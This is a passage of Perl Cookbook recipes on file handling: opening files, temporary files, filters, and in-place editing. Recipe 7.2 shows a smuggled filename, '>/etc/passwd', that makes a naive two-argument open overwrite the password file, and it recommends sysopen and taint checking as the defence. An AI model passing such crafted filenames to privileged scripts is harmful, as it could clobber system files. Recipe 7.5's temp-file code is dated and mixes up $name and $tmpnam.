Perl's most common operations for file interaction are open, print, <FH> to read a record, and close. These are wrappers around routines from the C buffered input/output library called stdio. Perl's I/O functions are documented in Chapter 3 of Programming Perl, perlfunc (1), and your system's stdio (3S) manpages. The next chapter details I/O operations like <>, print, seek, and tell.

The most important I/O function is open. It takes two arguments, the filehandle and a string containing the filename and access mode. To open /tmp/log for writing and to associate it with the filehandle LOGFILE, say:

open(LOGFILE, "> /tmp/log")     or die "Can't write /tmp/log: $!";

The three most common access modes are < for reading, > for overwriting, and >> for appending. The open function is discussed in more detail in Recipe 7.1.

When opening a file or making virtually any other system call,[1] checking the return value is indispensable. Not every open succeeds; not every file is readable; not every piece of data you print can reach its destination. Most programmers check open, seek, tell, and close in robust programs. You might also want to check other functions. The Perl documentation lists return values from all functions and operators. If a system call fails, it returns undef, except for wait, waitpid , and syscall, which return -1 on failure. The system error message or number is available in the $! variable. This is often used in die or warn messages.

[1] The term system call denotes a call into your operating system. It is unrelated to the C and Perl function that's actually named system.

To read a record in Perl, use the circumfix operator <FILEHANDLE>, whose behavior is also available through the readline function. A record is normally a line, but you can change the record terminator, as detailed in Chapter 8. If FILEHANDLE is omitted, Perl opens and reads from the filenames in @ARGV or from STDIN if there aren't any. Customary and curious uses of this are described in Recipe 7.7.

Abstractly, files are simply streams of bytes. Each filehandle has associated with it a number representing the current byte position in the file, returned by the tell function and set by the seek function. In Recipe 7.10, we rewrite a file without closing and reopening by using seek to move back to the start, rewinding it.

When you no longer have use for a filehandle, close it. The close function takes a single filehandle and returns true if the filehandle could be successfully flushed and closed, false otherwise. You don't need to explicitly close every filehandle. When you open a filehandle that's already open, Perl implicitly closes it first. When your program exits, any open filehandles also get closed.

These implicit closes are for convenience, not stability, because they don't tell you whether the system call succeeded or failed. Not all closes succeed. Even a close on a read-only file can fail. For instance, you could lose access to the device because of a network outage. It's even more important to check the close if the file was opened for writing. Otherwise you wouldn't notice if the disk filled up.

close(FH)           or die "FH didn't close: $!";

The prudent programmer even checks the close on standard output stream at the program's end, in case STDOUT was redirected from the command line the output filesystem filled up. Admittedly, your run-time system should take care of this for you, but it doesn't.

Checking standard error, though, is probably of dubious value. After all, if STDERR fails to close, what are you planning to do about it?

STDOUT is the default destination for output from the print, printf, and write functions. Change this with select, which takes the new default output filehandle and returns the previous one. The new output filehandle should have been opened before calling select:

$old_fh = select(LOGFILE);                  # switch to LOGFILE for output
print "Countdown initiated ...\n";
select($old_fh);                            # return to original output
print "You have 30 seconds to reach minimum safety distance.\n";

Some of Perl's special variables change the behavior of the currently selected output filehandle. Most important is $|, which controls output buffering for each filehandle. Buffering is explained in Recipe 7.12.

Perl provides functions for buffered and unbuffered input and output. Although there are some exceptions, you shouldn't mix calls to buffered and unbuffered I/O functions. The following table shows the two sets of functions you should not mix. Functions on a particular row are only loosely associated; for instance, sysread doesn't have the same semantics as < >, but they are on the same row because they both read input from a filehandle.

Action | Buffered | Unbuffered
opening | open,sysopen | sysopen
closing | close | close
input | <FILE>,readline | sysread
output | print | syswrite
repositioning | seek, tell | sysseek

Repositioning is addressed in Chapter 8, but we also use it in Recipe 7.10.

Previous: 6.23. Regular Expression Grabbag | Perl Cookbook | Next: 7.1. Opening a File
6.23. Regular Expression Grabbag | Book Index | 7.1. Opening a File


Recipe 7.1. Opening a File

Perl CookbookSearch this book

7.1. Opening a File

Problem

You want to read or write to a filename from Perl.

Solution

Use open for convenience, sysopen for precision, or the IO::File module to get an anonymous filehandle.

The open function takes two arguments: the filehandle to open and one string containing the filename and special characters indicating how to open it (the mode):

open(SOURCE, "< $path")
    or die "Couldn't open $path for reading: $!\n";

open(SINK, "> $path")
    or die "Couldn't open $path for writing: $!\n";

The sysopen function takes three or four arguments: filehandle, filename, mode, and an optional permissions value. The mode is a number constructed from constants provided by the Fcntl module:

use Fcntl;

sysopen(SOURCE, $path, O_RDONLY)
    or die "Couldn't open $path for reading: $!\n";

sysopen(SINK, $path, O_WRONLY)
    or die "Couldn't open $path for writing: $!\n";

The IO::File module's new method accepts both open and sysopen style arguments and returns an anonymous filehandle. The new method also accepts a mode in the style of fopen (3):

use IO::File;

# like Perl's open
$fh = IO::File->new("> $filename")
    or die "Couldn't open $filename for writing: $!\n";

# like Perl's sysopen
$fh = IO::File->new($filename, O_WRONLY|O_CREAT)
    or die "Couldn't open $filename for writing: $!\n";

# like stdio's fopen(3)
$fh = IO::File->new($filename, "r+")
    or die "Couldn't open $filename for read and write: $!\n";

Discussion

All input and output goes through filehandles, whether filehandles are mentioned or not. Filehandles aren't exclusively connected to files - they're also used to communicate with other programs (see Chapter 16, Process Management and Communication) and for network communication (see Chapter 17, Sockets). The open function can also be used to manipulate file descriptors, discussed in Recipe 7.19.

The open function quickly and conveniently solves the problem of associating a filehandle with a file. It permits a shorthand for common modes (reading, writing, reading and writing, appending) passed in with the filename. It doesn't let you control the permission that files are created with or even whether files are created. For this level of control, you need sysopen, which uses constants provided by the Fcntl module to control individual settings like read, write, create, and truncate.

Most programmers meet open long before they meet sysopen. The following table shows how open modes (the Filename column) correspond to sysopen constants (O_ flags) and to the fopen (3) strings that IO::File->new can take (Char). Read and Write indicate that the filehandle may be read from or written to. Append means no matter where you are in the file, output goes to the end of the file (on most systems). Create indicates whether the open statement creates a file if one having the given name doesn't already exist. Trunc indicates open will clobber any existing data if the file already exists.

Filename | Read | Write | Append | Create | Trunc | O_flags | Char
< file | yes | no | no | no | no | RDONLY | "r"
> file | no | yes | no | yes | yes | WRONLY TRUNC CREAT | "w"
>> file | no | yes | yes | yes | no | WRONLY APPEND CREAT | "a"
+< file | yes | yes | no | no | no | RDWR | "r+"
+> file | yes | yes | no | yes | yes | RDWR TRUNC CREAT | "w+"
+>> file | yes | yes | yes | yes | no | RDWR APPEND CREAT | "a+"

Here's a tip: you almost never want to use +> or +>>. The first clobbers your file before you can read it, and the second one is confusing because your read pointer can be anywhere, but on many systems, the writer always jumps to the end of the file.

The sysopen function takes three or four arguments:

sysopen(FILEHANDLE, $name, $flags)         or die "Can't open $name : $!";
sysopen(FILEHANDLE, $name, $flags, $perms) or die "Can't open $name : $!";

$name is the name of the file, without any < or + funny business. $flags is a number, formed by ORing together separate mode values for O_CREAT, O_WRONLY, O_TRUNC, etc. The exact availability of O_* constants depends on your operating system, so consult the online documentation for this (usually open (2), but not always), or look in /usr/include/fcntl.h. Common ones are:

O_RDONLY | Read only
O_WRONLY | Write only
O_RDWR | Read and write
O_CREAT | Create the file if it doesn't exist
O_EXCL | Fail if the file already exists
O_APPEND | Append to the file
O_TRUNC | Truncate the file
O_NONBLOCK | Non-blocking access

Less common O_* flags sometimes available include O_SHLOCK, O_EXLOCK, O_BINARY, O_NOCTTY, and O_SYNC. Consult your open (2) manpage or its local equivalent for details.

If you omit the $perms argument to sysopen, Perl uses the octal value 0666. These permissions values need to be in octal and are modified by your process's current umask. A umask value is a number representing disabled permissions bits - if your umask were 027 (group can't write; others can't read, write, or execute), then passing sysopen 0666 would create a file with mode 0640 (mathematically: 0666 &~ 027 is 0640).

If umask seems confusing, here's some advice: supply a creation mode of 0666 for regular files and one of 0777 for directories and executable files. This gives users a choice: if they want protected files, they can choose process umasks of 022, 027, or even the particularly antisocial mask of 077. Programs should rarely if ever make policy decisions better left to the user. One exception is when writing files that should be kept private: mail files, web browser cookies, .rhosts files, and so on. In short, seldom if ever use 0644 as argument to sysopen because that takes away the user's option to have a more permissive umask.

Here are examples of open and sysopen in action.

To open file for reading:

open(FH, "< $path")                                 or die $!;
sysopen(FH, $path, O_RDONLY)                        or die $!;

To open file for writing, create new file if needed, or else truncate old file:

open(FH, "> $path")                                 or die $!;
sysopen(FH, $path, O_WRONLY|O_TRUNC|O_CREAT)        or die $!;
sysopen(FH, $path, O_WRONLY|O_TRUNC|O_CREAT, 0600)  or die $!;

To open file for writing, create new file, file must not exist:

sysopen(FH, $path, O_WRONLY|O_EXCL|O_CREAT)         or die $!;
sysopen(FH, $path, O_WRONLY|O_EXCL|O_CREAT, 0600)   or die $!;

To open file for appending, create if necessary:

open(FH, ">> $path")                                or die $!;
sysopen(FH, $path, O_WRONLY|O_APPEND|O_CREAT)       or die $!;
sysopen(FH, $path, O_WRONLY|O_APPEND|O_CREAT, 0600) or die $!;

To open file for appending, file must exist:

sysopen(FH, $path, O_WRONLY|O_APPEND)               or die $!;

To open file for update, file must exist:

open(FH, "+< $path")                                or die $!;
sysopen(FH, $path, O_RDWR)                          or die $!;

To open file for update, create file if necessary:

sysopen(FH, $path, O_RDWR|O_CREAT)                  or die $!;
sysopen(FH, $path, O_RDWR|O_CREAT, 0600)            or die $!;

To open file for update, file must not exist:

sysopen(FH, $path, O_RDWR|O_EXCL|O_CREAT)           or die $!;
sysopen(FH, $path, O_RDWR|O_EXCL|O_CREAT, 0600)     or die $!;

We demonstrate using a creation mask of 0600 here only to show how to create a private file. The argument is normally omitted.

See Also

The open, sysopen, and umask functions in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the standard IO::File and Fcntl modules (also in Chapter 7 of Programming Perl); your system's open (2), fopen (3), and umask (2) manpages; Recipe 7.2

Previous: 7.0. Introduction | Perl Cookbook | Next: 7.2. Opening Files with Unusual Filenames
7.0. Introduction | Book Index | 7.2. Opening Files with Unusual Filenames


Recipe 7.2. Opening Files with Unusual Filenames

Perl CookbookSearch this book

7.2. Opening Files with Unusual Filenames

Problem

You want to open a file with a funny filename, like "-" or one that starts with <, >, or |, has leading or trailing whitespace; or ends with |. You don't want these to trigger open's do-what-I-mean behavior, since in this case, that's not what you mean.

Solution

Use open like this:

$filename =~ s#^(\s)#./$1#;
open(HANDLE, "< $filename\0")          or die "cannot open $filename : $!\n";

Or simply use sysopen:

sysopen(HANDLE, $filename, O_RDONLY)   or die "cannot open $filename: $!\n";

Discussion

The open function uses a single string to determine both the filename and the mode - the way the file is to be opened. If your filename begins with the characters used to indicate the mode, open can easily do something unexpected. Imagine the following code:

$filename = shift @ARGV;
open(INPUT, $filename)               or die "Couldn't open $filename : $!\n";

If the user gave ">/etc/passwd" as the filename on the command line, this code would attempt to open /etc/passwd for writing - definitely unsafe! We can try to give an explicit mode, say for writing:

open(OUTPUT, ">$filename")
    or die "Couldn't open $filename for writing: $!\n";

but even this would let the user give a filename of ">data" and the code would append to the file data instead of erasing the old contents.

The easiest solution is sysopen, which takes the mode and filename as separate arguments:

use Fcntl;                          # for file constants

sysopen(OUTPUT, $filename, O_WRONLY|O_TRUNC)
    or die "Can't open $filename for writing: $!\n";

To get the same effect with open requires chicanery if the filename has leading or trailing whitespace:

$file =~ s#^(\s)#./$1#;
open(OUTPUT, "> $file\0")
        or die "Couldn't open $file for OUTPUT : $!\n";

The substitution protects initial whitespace (this cannot occur in fully specified filenames like "/etc/passwd", but only in relative filenames like " passwd"). The NULL byte ("\0") isn't considered part of the filename by open, but it does prevent any trailing whitespace from being ignored.

The magic way open interprets filenames is nearly always a good thing. You never have to use the special case of "-" to mean standard input or output. If you write a filter and use a simple open, users can pass "gzip -dc bible.gz|" as a filename, and your filter will automatically run the decoding program.

It's only those programs that run under special privilege that should worry about security with open. When designing programs that will be run on someone else's behalf, like setuid programs or CGI scripts, the prudent programmer always considers whether the user can supply their own filename and thereby cajole what would otherwise appear to be a normal open used for simple reading into overwriting a file or even running another program. Perl's -T command-line flag to enable taint-checking would take care of this.

See Also

The open and sysopen functions in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 7.1; Recipe 7.7; Recipe 16.2; Recipe 19.4; Recipe 19.6

Previous: 7.1. Opening a File | Perl Cookbook | Next: 7.3. Expanding Tildes in Filenames
7.1. Opening a File | Book Index | 7.3. Expanding Tildes in Filenames


Recipe 7.3. Expanding Tildes in Filenames

Perl CookbookSearch this book

7.3. Expanding Tildes in Filenames

Problem

You want to open filenames like ~username/blah, but open doesn't interpret the tilde to mean a home directory.

Solution

Expand the filename manually with a substitution:

$filename =~ s{ ^ ~ ( [^/]* ) }
              { $1
                    ? (getpwnam($1))[7]
                    : ( $ENV{HOME} || $ENV{LOGDIR}
                         || (getpwuid($>))[7]
                       )
}ex;

Discussion

The uses of tilde that we want to catch are:

    ~user
    ~user/blah
    ~
    ~/blah

If no name follows the ~, the current user's home directory is used.

This substitution uses /e to evaluate the replacement as Perl code. If a username follows the tilde, it's stored in $1, which getpwnam uses to extract the user's home directory out of the return list. This directory becomes the replacement string. If the tilde was not followed by a username, substitute in either the current HOME environment variable or the LOGDIR one. If neither of those environment variables is valid, look up the effective user ID's home directory.

See Also

Your system's getpwnam (2) manpage; the getpwnam function in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 9.6

Previous: 7.2. Opening Files with Unusual Filenames | Perl Cookbook | Next: 7.4. Making Perl Report Filenames in Errors
7.2. Opening Files with Unusual Filenames | Book Index | 7.4. Making Perl Report Filenames in Errors


Recipe 7.4. Making Perl Report Filenames in Errors

Perl CookbookSearch this book

7.4. Making Perl Report Filenames in Errors

Problem

Your program works with files, but Perl's errors and warnings only report the last used filehandle, not the name of the file.

Solution

Use the filename as the filehandle:

open($path, "< $path")
    or die "Couldn't open $path for reading : $!\n";

Discussion

Ordinarily, error messages say:

Argument "3\n" isn't numeric in multiply at tallyweb line 16, <LOG> chunk 17.

The filehandle LOG doesn't help much because you don't know which file the handle was connected to. By using the filename itself as indirect filehandle, Perl produces more informative errors and warnings:

Argument "3\n" isn't numeric in multiply at tallyweb
    line 16, </usr/local/data/mylog3.dat> chunk 17.

Unfortunately, this doesn't work with strict refs turned on because the variable $path doesn't really have a filehandle in it, but just a string that sometimes behaves as one. The chunk mentioned in warnings and error messages is the current value of the $. variable.

See Also

Recipe 7.1; the open function in perlfunc (1) and Chapter 3 of Programming Perl

Previous: 7.3. Expanding Tildes in Filenames | Perl Cookbook | Next: 7.5. Creating Temporary Files
7.3. Expanding Tildes in Filenames | Book Index | 7.5. Creating Temporary Files


Recipe 7.5. Creating Temporary Files

Perl CookbookSearch this book

7.5. Creating Temporary Files

Problem

You need to create a temporary file and have it automatically deleted when your program exits. For instance, you want to write a temporary configuration file to feed a program you launch. In this case, you want to know the temporary file's name to tell the utility program. In other cases, you may just want a temporary file to write to and read from, and don't need to know its filename.

Solution

If you don't need to know the file's name, use the new_tmpfile class method from the IO::File module to get a filehandle opened for reading and writing:

use IO::File;

$fh = IO::File->new_tmpfile
        or die "Unable to make new temporary file: $!";

If you need to know the file's name, use the tmpnam function from the POSIX module to get a filename that you then open yourself:

use IO::File;
use POSIX qw(tmpnam);

# try new temporary filenames until we get one that didn't already exist
do { $name = tmpnam() }
    until $fh = IO::File->new($name, O_RDWR|O_CREAT|O_EXCL);

# install atexit-style handler so that when we exit or die,
# we automatically delete this temporary file
END { unlink($name) or die "Couldn't unlink $name : $!" }

# now go on to use the file ...

Discussion

If you only need scratch space, the IO::File module's new_tmpfile class method returns a filehandle connected to a temporary file that's been opened read-write by using the following code:

for (;;) {
    $name = tmpnam();
    sysopen(TMP, $tmpnam, O_RDWR | O_CREAT | O_EXCL) && last;
}
unlink $tmpnam;

This file will be automatically deleted when your program finally exits or the file is closed. You cannot find its name to tell another process, because it doesn't have a name. In fact, on systems that support such semantics, the filename was already deleted before the method returned. A child process could inherit the open file descriptor, however.[2]

[2] But you'd better set $^F to at least fileno($fh) before you exec anything.

This shows new_tmpfile in action. We create a temporary file, write to it, rewind, and print what we wrote:

use IO::File;

$fh = IO::File->new_tmpfile             or die "IO::File->new_tmpfile: $!";
$fh->autoflush(1);
print $fh "$i\n" while $i++ < 10;
seek($fh, 0, 0)                         or die "seek: $!";
print "Tmp file has: ", <$fh>;

The second solution gets a temporary file whose name you can give to another process. We use the POSIX::tmpnam function, open the file ourselves, and delete it when we're done. We don't test whether a file of that name exists before opening it because that would introduce a race condition - someone might create the file between our checking whether it exists and our creating the file.[3] Instead, we wrap tmpnam in a loop to make sure we get a new file and don't accidentally clobber someone else's. Two processes shouldn't get the same filename from new_tmpfile, in theory.

[3] Race conditions are explained in Recipe 19.4.

See Also

The documentation for the standard IO::File and POSIX modules (also in Chapter 7 of Programming Perl); Recipe 7.19; your system's tmpnam (3) manpage

Previous: 7.4. Making Perl Report Filenames in Errors | Perl Cookbook | Next: 7.6. Storing Files Inside Your Program Text
7.4. Making Perl Report Filenames in Errors | Book Index | 7.6. Storing Files Inside Your Program Text


Recipe 7.6. Storing Files Inside Your Program Text

Perl CookbookSearch this book

7.6. Storing Files Inside Your Program Text

Problem

You have data that you want to bundle with your program and treat as though it were in a file, but you don't want it to be in a different file.

Solution

Use the __DATA__ or __END__ tokens after your program code to mark the start of a data block, which can be read inside your program or module from the DATA filehandle.

Use __DATA__ within a module:

while (<DATA>) {
    # process the line
}
__DATA__
# your data goes here

Similarly, use __END__ within the main program file:

while (<main::DATA>) {
    # process the line
}
__END__
# your data goes here

Discussion

__DATA__ and __END__ indicate the logical end of a module or script before the physical end of file is reached. Text after __DATA__ or __END__ can be read through the per-package DATA filehandle. For example, take the hypothetical module Primes. Text after __DATA__ in Primes.pm can be read from the Primes::DATA filehandle.

__END__ behaves as a synonym for __DATA__ in the main package. Text after __END__ tokens in modules is inaccessible.

This lets you write self-contained programs that would ordinarily keep data kept in separate files. Often this is used for documentation. Sometimes it's configuration data or old test data that the program was originally developed with, left lying about in case it ever needs to be recreated.

Another trick is to use DATA to find out the current program's or module's size or last modification date. On most systems, the $0 variable will contain the full pathname to your running script. On systems where $0 is not correct, you could try the DATA filehandle instead. This can be used to pull in the size, modification date, etc. Put a special token __DATA__ at the end of the file (and maybe a warning not to delete it), and the DATA filehandle will be to the script itself.

use POSIX qw(strftime);

$raw_time = (stat(DATA))[9];
$size     = -s DATA;
$kilosize = int($size / 1024) . 'k';

print "<P>Script size is $kilosize\n";
print strftime("<P>Last script update: %c (%Z)\n", localtime($raw_time));

__DATA__
DO NOT REMOVE THE PRECEDING LINE.
Everything else in this file will be ignored.

See Also

The "Scalar Value Constructors" section of perldata (1), and the "Other literal tokens" section of Chapter 2 of Programming Perl

Previous: 7.5. Creating Temporary Files | Perl Cookbook | Next: 7.7. Writing a Filter
7.5. Creating Temporary Files | Book Index | 7.7. Writing a Filter


Recipe 7.7. Writing a Filter

Perl CookbookSearch this book

7.7. Writing a Filter

Problem

You want to write a program that takes a list of filenames on the command line and reads from STDIN if no filenames were given. You'd like the user to be able to give the file "-" to indicate STDIN or "someprogram |" to indicate the output of another program. You might want your program to modify the files in place or to produce output based on its input.

Solution

Read lines with <>:

while (<>) {
    # do something with the line
}

iscussion

When you say:

while (<>) {
    # ...
 }

Perl translates this into:[4]

[4] Except that the code written here won't work because ARGV has internal magic.

unshift(@ARGV, '-') unless @ARGV;
while ($ARGV = shift @ARGV) {
    unless (open(ARGV, $ARGV)) {
        warn "Can't open $ARGV: $!\n";
        next;
    }
    while (defined($_ = <ARGV>)) {
        # ...
    }
}

You can access ARGV and $ARGV inside the loop to read more from the filehandle or to find the filename currently being processed. Let's look at how this works.

Behavior

If the user supplies no arguments, Perl sets @ARGV to a single string, "-". This is shorthand for STDIN when opened for reading and STDOUT when opened for writing. It's also what lets the user of your program specify "-" as a filename on the command line to read from STDIN.

Next, the file processing loop removes one argument at a time from @ARGV and copies the filename into the global variable $ARGV. If the file cannot be opened, Perl goes on to the next one. Otherwise, it processes a line at a time. When the file runs out, the loop goes back and opens the next one, repeating the process until @ARGV is exhausted.

The open statement didn't say open(ARGV, "< $ARGV"). There's no extra greater- than symbol supplied. This allows for interesting effects, like passing the string "gzip -dc file.gz |" as an argument, to make your program read the output of the command "gzip -dc file.gz". See Recipe 16.6 for more about this use of magic open.

You can change @ARGV before or inside the loop. Let's say you don't want the default behavior of reading from STDIN if there aren't any arguments - you want it to default to all the C or C++ source and header files. Insert this line before you start processing <ARGV>:

@ARGV = glob("*.[Cch]") unless @ARGV;

Process options before the loop, either with one of the Getopt libraries described in Chapter 15, User Interfaces, or manually:

# arg demo 1: Process optional -c flag
if (@ARGV && $ARGV[0] eq '-c') {
    $chop_first++;
    shift;
}

# arg demo 2: Process optional -NUMBER flag
if (@ARGV && $ARGV[0] =~ /^-(\d+)$/) {
    $columns = $1;
    shift;
}

# arg demo 3: Process clustering -a, -i, -n, or -u flags
while (@ARGV && $ARGV[0] =~ /^-(.+)/ && (shift, ($_ = $1), 1)) {
    next if /^$/;
    s/a// && (++$append,      redo);
    s/i// && (++$ignore_ints, redo);
    s/n// && (++$nostdout,    redo);
    s/u// && (++$unbuffer,    redo);
    die "usage: $0 [-ainu] [filenames] ...\n";
}

Other than its implicit looping over command-line arguments, <> is not special. The special variables controlling I/O still apply; see Chapter 8 for more on them. You can set $/ to set the line terminator, and $. contains the current line (record) number. If you undefine $/, you don't get the concatenated contents of all files at once; you get one complete file each time:

undef $/;
while (<>) {
    # $_ now has the complete contents of
    # the file whose name is in $ARGV
}

If you localize $/, the old value is automatically restored when the enclosing block exits:

{     # create block for local
    local $/;         # record separator now undef
    while (<>) {
        # do something; called functions still have
        # undeffed version of $/
    }
}                     # $/ restored here

Because processing <ARGV> never explicitly closes filehandles, the record number in $. is not reset. If you don't like that, you can explicitly close the file yourself to reset $.:

while (<>) {
    print "$ARGV:$.:$_";
    close ARGV if eof;
}

The eof function defaults to checking the end of file status of the last file read. Since the last handle read was ARGV, eof reports whether we're at the end of the current file. If so, we close it and reset the $. variable. On the other hand, the special notation eof() with parentheses but no argument checks if we've reached the end of all files in the <ARGV> processing.

Command-line options

Perl has command-line options, -n, -p, and -i, to make writing filters and one-liners easier.

The -n option adds the while (<>) loop around your program text. It's normally used for filters like grep or programs that summarize the data they read. The program is shown in Example 7.1.

Example 7.1: findlogin1

#!/usr/bin/perl
# findlogin1 - print all lines containing the string "login"
while (<>) {# loop over files on command line
    print if /login/;
}

The program in Example 7.1 could be written as shown in Example 7.2.

Example 7.2: findlogin2

#!/usr/bin/perl -n
# findlogin2 - print all lines containing the string "login"
print if /login/;

You can combine the -n and -e options to run Perl code from the command line:

% perl -ne 'print if /login/'

The -p option is like -n but it adds a print at the end of the loop. It's normally used for programs that translate their input. This program is shown in Example 7.3.

Example 7.3: lowercase1

#!/usr/bin/perl
# lowercase - turn all lines into lowercase

use locale;
while (<>) {                 # loop over lines on command line
    s/([^\W0-9_])/\l$1/g;    # change all letters to lowercase
print;
}

The program in Example 7.3 could be written as shown in Example 7.4.

Example 7.4: lowercase2

#!/usr/bin/perl -p
# lowercase - turn all lines into lowercase
use locale;
s/([^\W0-9_])/\l$1/g;# change all letters to lowercase

Or written from the command line as:

% perl -Mlocale -pe 's/([^\W0-9_])/\l$1/g'

While using -n or -p for implicit input looping, the special label LINE: is silently created for the whole input loop. That means that from an inner loop, you can go on the following input record by using next LINE (this is like awk 's next). Go on to the file by closing ARGV (this is like awk 's nextfile). This is shown in Example 7.5.

Example 7.5: countchunks

#!/usr/bin/perl -n
# countchunks - count how many words are used.
# skip comments, and bail on file if __END__
# or __DATA__ seen.
for (split /\W+/) {
    next LINE if /^#/;
    close ARGV if /__(DATA|END)__/;
    $chunks++;
}
END { print "Found $chunks chunks\n" }

The tcsh keeps a .history file in a format such that every other line contains a commented out timestamp in Epoch seconds:

#+0894382237
less /etc/motd
#+0894382239
vi ~/.exrc
#+0894382242
date
#+0894382242
who
#+0894382288
telnet home

A simple one-liner can render that legible:

% perl -pe 's/^#\+(\d+)\n/localtime($1) . " "/e'
Tue May  5 09:30:37 1998     less /etc/motd
Tue May  5 09:30:39 1998     vi ~/.exrc
Tue May  5 09:30:42 1998     date
Tue May  5 09:30:42 1998     who
Tue May  5 09:31:28 1998     telnet home

The -i option changes each file on the command line. It is described in Recipe 7.9, and is normally used in conjunction with -p.

You have to say use locale to handle current character set.

See Also

perlrun (1), and the "Switches" section of Chapter 6 of Programming Perl; Recipe 7.9; Recipe 16.6

Previous: 7.6. Storing Files Inside Your Program Text | Perl Cookbook | Next: 7.8. Modifying a File in Place with Temporary File
7.6. Storing Files Inside Your Program Text | Book Index | 7.8. Modifying a File in Place with Temporary File


Recipe 7.8. Modifying a File in Place with Temporary File

Perl CookbookSearch this book

7.8. Modifying a File in Place with Temporary File

Problem

You need to update a file in place, and you can use a temporary file.

Solution

Read from the original file, write changes to a temporary file, and then rename the temporary back to the original:

open(OLD, "< $old")         or die "can't open $old: $!";
open(NEW, "> $new")         or die "can't open $new: $!";
while (<OLD>) {
    # change $_, then...
    print NEW $_            or die "can't write $new: $!";
}
close(OLD)                  or die "can't close $old: $!";
close(NEW)                  or die "can't close $new: $!";
rename($old, "$old.orig")   or die "can't rename $old to $old.orig: $!";
rename($new, $old)          or die "can't rename $new to $old: $!";

This is the best way to update a file "in place."

Discussion

This technique uses little memory compared to the approach that doesn't use a temporary file. It has the added advantages of giving you a backup file and being easier and safer to program.

You can make the same changes to the file using this technique that you can with the version that uses no temporary file. For instance, to insert lines at line 20:

while (<OLD>) {
    if ($. == 20) {
        print NEW "Extra line 1\n";
        print NEW "Extra line 2\n";
    }
    print NEW $_;
}

Or delete lines 20 through 30:

while (<OLD>) {
    next if 20 .. 30;
    print NEW $_;
}

Note that rename won't work across filesystems, so you should create your temporary file in the same directory as the file being modified.

The truly paranoid programmer would lock the file during the update.

See Also

Recipe 7.1; Recipe 7.9; Recipe 7.10

Previous: 7.7. Writing a Filter | Perl Cookbook | Next: 7.9. Modifying a File in Place with -i Switch
7.7. Writing a Filter | Book Index | 7.9. Modifying a File in Place with -i Switch


Recipe 7.9. Modifying a File in Place with -i Switch

Perl CookbookSearch this book

7.9. Modifying a File in Place with -i Switch

Problem

You need to modify a file in place from the command line, and you're too lazy[5] for the file manipulation of Recipe 7.8.

[5] Lazy-as-virtue, not lazy-as-sin.

Solution

Use the -i and -p switches to Perl. Write your program on the command line:

% perl -i.orig -p -e 'FILTER COMMAND' file1 file2 file3 ...

Or use the switches in programs:

#!/usr/bin/perl -i.orig -p
# filter commands go here

Discussion

The -i command-line switch modifies each file in place. It creates a temporary file as in the previous recipe, but Perl takes care of the tedious file manipulation for you. Use it with -p (explained in Recipe 7.7) to turn:

% perl -pi.orig -e 's/DATE/localtime/e'

into:

while (<>) {
    if ($ARGV ne $oldargv) {           # are we at the next file?
        rename($ARGV, $ARGV . '.orig');
        open(ARGVOUT, ">$ARGV");       # plus error check
        select(ARGVOUT);
        $oldargv = $ARGV;
    }
    s/DATE/localtime/e;
}
continue{
    print;
}
select (STDOUT);                      # restore default output

The -i switch takes care of making a backup (say -i instead of -i.orig to discard the original file contents instead of backing them up), and -p makes Perl loop over filenames given on the command line (or STDIN if no files were given).

The preceding one-liner would turn a file containing the following:

Dear Sir/Madam/Ravenous Beast,
    As of DATE, our records show your account
is overdue.  Please settle by the end of the month.
Yours in cheerful usury,
    --A. Moneylender

into:

Dear Sir/Madam/Ravenous Beast,
    As of Sat Apr 25 12:28:33 1998, our records show your account
is overdue.  Please settle by the end of the month.
Yours in cheerful usury,
    --A. Moneylender

This switch makes in-place translators a lot easier to write and to read. For instance, this changes isolated instances of "hisvar" to "hervar" in all C, C++, and yacc files:

% perl -i.old -pe 's{\bhisvar\b}{hervar}g' *.[Cchy]

Turn on and off the -i behavior with the special variable $^I. Set @ARGV, and then use <> as you would with -i on the command line:

# set up to iterate over the *.c files in the current directory,
# editing in place and saving the old file with a .orig extension
local $^I   = '.orig';              # emulate  -i.orig
local @ARGV = glob("*.c");          # initialize list of files
while (<>) {
    if ($. == 1) {
        print "This line should appear at the top of each file\n";
    }
    s/\b(p)earl\b/${1}erl/ig;       # Correct typos, preserving case
    print;
} continue {close ARGV if eof}

Beware that creating a backup file under a particular name when that name already exists clobbers the previously backed up version.

See Also

perlrun (1), and the "Switches" section of Chapter 6 of Programming Perl; the $^I and $. variables in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl; the .. operator in the "Range Operator" sections of perlop (1) and Chapter 2 of Programming Perl

Previous: 7.8. Modifying a File in Place with Temporary File | Perl Cookbook | Next: 7.10. Modifying a File in Place Without a Temporary File
7.8. Modifying a File in Place with Temporary File | Book Index | 7.10. Modifying a File in Place Without a Temporary File


Recipe 7.10. Modifying a File in Place Without a Temporary File

Perl CookbookSearch this book

7.10. Modifying a File in Place Without a Temporary File

Problem

You need to insert, delete, or change one or more lines in a file, and you don't want to (or can't) use a temporary file.

Solution

Open the file in update mode ("+<"), read the whole file into an array of lines, change the array, then rewrite the file and truncate it to its current seek pointer.

open(FH, "+< FILE")                 or die "Opening: $!";
@ARRAY = <FH>;
# change ARRAY here
seek(FH,0,0)                        or die "Seeking: $!";
print FH @ARRAY                     or die "Printing: $!";
truncate(FH,tell(FH))               or die "Truncating: $!";
close(FH)                           or die "Closing: $!";

Discussion

As explained in the Introduction, the operating system treats files as unstructured streams of bytes. This makes it impossible to insert, modify, or change bits of the file in place. (Except for the special case of fixed-record-length files, discussed in Recipe 8.13.) You can use a temporary file to hold the changed output, or you can read the entire file into memory, change it, and write it back out again.

Reading everything into memory works for small files, but it doesn't scale well. Trying it on your 800 MB web server log files will either deplete your virtual memory or thrash your machine's VM system. For small files, though, this works:

open(F, "+< $infile")       or die "can't read $infile: $!";
$out = '';
while (<F>) {
    s/DATE/localtime/eg;
    $out .= $_;
}
seek(F, 0, 0)               or die "can't seek to start of $infile: $!";
print F $out                or die "can't print to $infile: $!";
truncate(F, tell(F))        or die "can't truncate $infile: $!";
close(F)                    or die "can't close $infile: $!";

For other examples of the things you can do in-place, look at the recipes in Chapter 8.

This approach is for the truly determined. It's harder to write, takes more memory (potentially a lot more), doesn't keep a backup file, and may confuse other processes trying to read from the file you're updating. For most purposes, therefore, we suggest it's probably not worth it.

Remember to lock if you're paranoid.

See Also

The seek, truncate, open, sysopen functions in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 7.8; Recipe 7.9

